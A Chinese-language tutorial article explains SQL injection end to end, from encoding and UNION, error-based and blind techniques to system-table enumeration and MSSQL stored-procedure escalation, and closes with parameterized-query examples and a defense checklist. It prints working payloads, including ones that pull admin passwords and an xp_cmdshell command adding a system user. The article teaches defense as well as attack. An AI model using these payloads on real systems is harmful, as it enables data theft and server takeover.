首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫

SQL 注入攻擊全景解析:原理、進階利用與防禦體系建設

     編輯:MySQL 資料庫相關知識

前言:歷久彌新的「注入之王」

SQL 注入(SQL Injection)自 1998 年被 Rain Forest Puppy 公開披露以來,始終佔據 OWASP Top 10 榜首位置。儘管防禦技術成熟(參數化查詢、ORM、WAF),但因業務迭代快、舊代碼存量大、開發者安全意識參差不齊,注入漏洞仍大量存在。本文系統梳理注入原理、編碼繞過、聯合查詢利用、盲注技巧、存儲過程提權、數據架構偵察、插入/更新注入、防禦編碼規範,並附贈主流數據庫系統表速查表,旨在為安全從業者、開發者構建完整知識圖譜。

第一部分:基礎原理與 HTTP 編碼陷阱

1.1 核心成因

應用將不可信的用戶輸入直接拼接進 SQL 語句,未經嚴格類型化、轉義或參數化處理,導致攻擊者能注入任意 SQL 片段,改變語句語義,實現數據竊取、篡改、刪除甚至服務器接管。

1.2 URL 編碼實戰

實戰中,Payload 必須經過 URL 編碼才能正確到達後端:

字符URL 編碼備註
'%27單引號,閉合字符串
%20 或 +空格
%%25百分號本身
+%2B加號
#%23MySQL 註釋符
----%20SQL 通用註釋,需尾隨空格

實戰提示: 瀏覽器地址欄輸入會自動編碼,Burp Suite / sqlmap 等工具需根據傳輸層(GET/POST/JSON/Cookie)選擇正確編碼方式,避免雙重編碼或漏編碼導致 Payload 失效。

第二部分:經典利用技術棧

2.1 基於錯誤的注入

利用數據庫報錯回顯數據:
AND 1=CAST((SELECT @@version) AS INT) → 報錯信息中包含版本號。
適用於 display_errors=On 且錯誤頁面回顯的環境。

2.2 聯合查詢注入


-- 步驟 1:確定列數
' ORDER BY 1--     -- 正常
' ORDER BY 4--     -- 正常
' ORDER BY 5--     -- 報錯 → 列數 = 4

-- 步驟 2:確定可回顯位置
' UNION SELECT 1,2,3,4--   -- 頁面顯示 2、3、4 的位置即為可控列

-- 步驟 3:提取數據
' UNION SELECT 1,username,password,4 FROM admin--

核心限制: 兩側查詢列數、數據類型必須兼容。Oracle 對類型檢查極嚴,MySQL/SQL Server 較寬鬆(數字可隱式轉字符串)。

2.3 盲注:布爾盲注與時間盲注

類型Payload 範例判斷依據
布爾盲注' AND SUBSTRING((SELECT password FROM admin LIMIT 1),1,1)='a'--頁面內容差異(正常/異常/空白)
時間盲注' AND IF(SUBSTRING(@@version,1,1)='5',SLEEP(3),0)--響應延遲 ≥ 3 秒

適用於無錯誤回顯、無 UNION 回顯位置的場景,需配合自動化工具(sqlmap)逐字爆破。

2.4 LIKE 子句利用與通配符陷阱

搜索功能常用 WHERE name LIKE '%$input%'。攻擊者輸入 %' OR '1'='1 導致 LIKE '%%' 全匹配,洩露所有記錄。防禦需對 % _ \ 進行轉義,或使用參數化查詢。

2.5 死胡同與列數不匹配排查

  • 死胡同:多層嵌套子查詢、複雜 WHERE 條件導致註釋符 -- 失效。對策:嘗試 ;--、#、/*、閉合所有括號後再註釋。
  • 列數不匹配:UNION SELECT 報錯「All queries must have same number of columns」。對策:遞增 NULL 直到不報錯,再逐個替換為具體類型探測。

2.6 WHERE 關鍵字殘留處理

原語句尾部殘留 AND Country='USA' 導致注入查詢報錯「Invalid column 'Country'」。解決:
① 使用 -- / # 註釋掉尾部
② 繼續猜解列名構造合法查詢
③ 利用 UNION SELECT ... WHERE 1=1 強制條件為真

第三部分:高階利用——系統表偵察與數據逐行提取

3.1 系統表枚舉(以 SQL Server 為例)


-- 獲取所有用戶表名
SELECT name FROM sysobjects WHERE xtype='U'

-- 獲取指定表的列名
SELECT name FROM syscolumns WHERE id=OBJECT_ID('admin')

其他數據庫對應表:

數據庫表名系統表列名系統表
MySQLinformation_schema.TABLESinformation_schema.COLUMNS
OracleALL_TABLES / USER_TABLESALL_TAB_COLUMNS / USER_TAB_COLUMNS
PostgreSQLinformation_schema.tablesinformation_schema.columns
AccessMSysObjectsMSysColumns

3.2 單行數據提取技巧


-- 第 1 行
' UNION SELECT TOP 1 col1,col2,col3 FROM secret WHERE ''=''

-- 第 2 行(排除已知值)
' UNION SELECT TOP 1 col1,col2,col3 FROM secret 
  WHERE col1 NOT IN ('val1') AND col2 NOT IN ('val2') AND col3 NOT IN ('val3') AND ''=''

-- 第 N 行:持續擴展 NOT IN 列表

第四部分:INSERT/UPDATE/DELETE 注入與存儲過程提權

4.1 插入注入實戰

註冊頁、留言板、購物車等 INSERT 場景同樣可注入。關鍵差異:INSERT 不直接回顯數據,需配合:

  • 錯誤回顯(轉換錯誤)
  • 二次查詢頁面(個人中心、訂單詳情)回顯寫入的數據
  • 時間盲注

Payload 範例:', (SELECT TOP 1 password FROM admin), 'email@test.com', '123')--

4.2 存儲過程提權(MSSQL 核心)

存儲過程功能前置條件
xp_cmdshell執行系統命令SA 權限、未被刪除/禁用
sp_makewebtask生成 HTML 文件至任意路徑(含 UNC 路徑)SA 權限、寫入權限
xp_regwrite修改註冊表SA 權限
xp_dirtree遍歷目錄樹PUBLIC 執行權限

注入示例:'; EXEC master..xp_cmdshell 'net user hacker P@ssw0rd /add'--

第五部分:防禦體系建設——從代碼到架構

5.1 核心原則:參數化查詢(Prepared Statements)

語言/框架正確用法錯誤用法
PHP (PDO)$stmt=$pdo->prepare('SELECT * FROM user WHERE id=?'); $stmt->execute([$id]);"SELECT * FROM user WHERE id=$id"
Java (JDBC)PreparedStatement ps=conn.prepareStatement("SELECT * FROM user WHERE id=?"); ps.setInt(1,id);Statement st=conn.createStatement(); st.executeQuery("SELECT * FROM user WHERE id="+id);
Python (DB-API)cur.execute("SELECT * FROM user WHERE id=%s", (id,))cur.execute("SELECT * FROM user WHERE id=%s" % id)
C# (ADO.NET)cmd.Parameters.AddWithValue("@id", id);cmd.CommandText = "SELECT * FROM user WHERE id=" + id;
Node.js (mysql2)await pool.execute('SELECT * FROM user WHERE id=?', [id])await pool.query('SELECT * FROM user WHERE id=' + id)

5.2 纵深防禦清單

  1. 最小權限原則:Web 應用使用的數據庫帳號僅擁有必要的 SELECT/INSERT/UPDATE/DELETE 權限,禁用 DROP/ALTER/FILE/PROCESS/SHUTDOWN 等高危權限,嚴禁使用 root/sa 直連。
  2. 輸入驗證與輸出編碼:白名單驗證(正則 ^[a-zA-Z0-9_]{1,32}$),HTML/JS/SQL/CSS 語境下分別編碼輸出。
  3. 錯誤信息隱藏:生產環境關閉詳細錯誤回顯,統一友好錯誤頁,日誌記錄詳細堆棧供內部排查。
  4. WAF/IDS/IPS:部署 ModSecurity + OWASP CRS、云 WAF、RASP,針對注入特徵進行虛擬補丁。
  5. 資料庫審計與加密:開啟审计日志,敏感字段(密碼、身份證、銀行卡)應用層加密存儲(Argon2id/Bcrypt/SCrypt/AES-GCM)。
  6. 持續安全測試:CI/CD 集成 SAST/DAST/IAST,定期滲透測試,建立漏洞全生命周期管理。

第六部分:主流數據庫系統表速查表

數據庫核心系統表/視圖關鍵列
MySQLinformation_schema.TABLES, COLUMNS, SCHEMATATABLE_SCHEMA, TABLE_NAME, COLUMN_NAME, DATA_TYPE
SQL Serversysobjects, syscolumns, sysdatabasesname, xtype('U'=用戶表), id, status
OracleALL_TABLES, ALL_TAB_COLUMNS, ALL_USERSTABLE_NAME, COLUMN_NAME, DATA_TYPE, OWNER
PostgreSQLinformation_schema.tables, columns, pg_catalog.pg_classtable_schema, table_name, column_name, data_type
AccessMSysObjects, MSysColumnsName, Type(1=表), ParentId

結語

SQL 注入的本質是「代碼與數據未分離」。參數化查詢從根源上切斷了攻擊路徑,配合最小權限、錯誤隱藏、審計加密、持續測試,構建纵深防禦體系。安全無絕對,但將攻擊成本推高至不可接受,便是我們的勝利。願每位開發者寫出的代碼,都能經得起惡意輸入的考驗。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved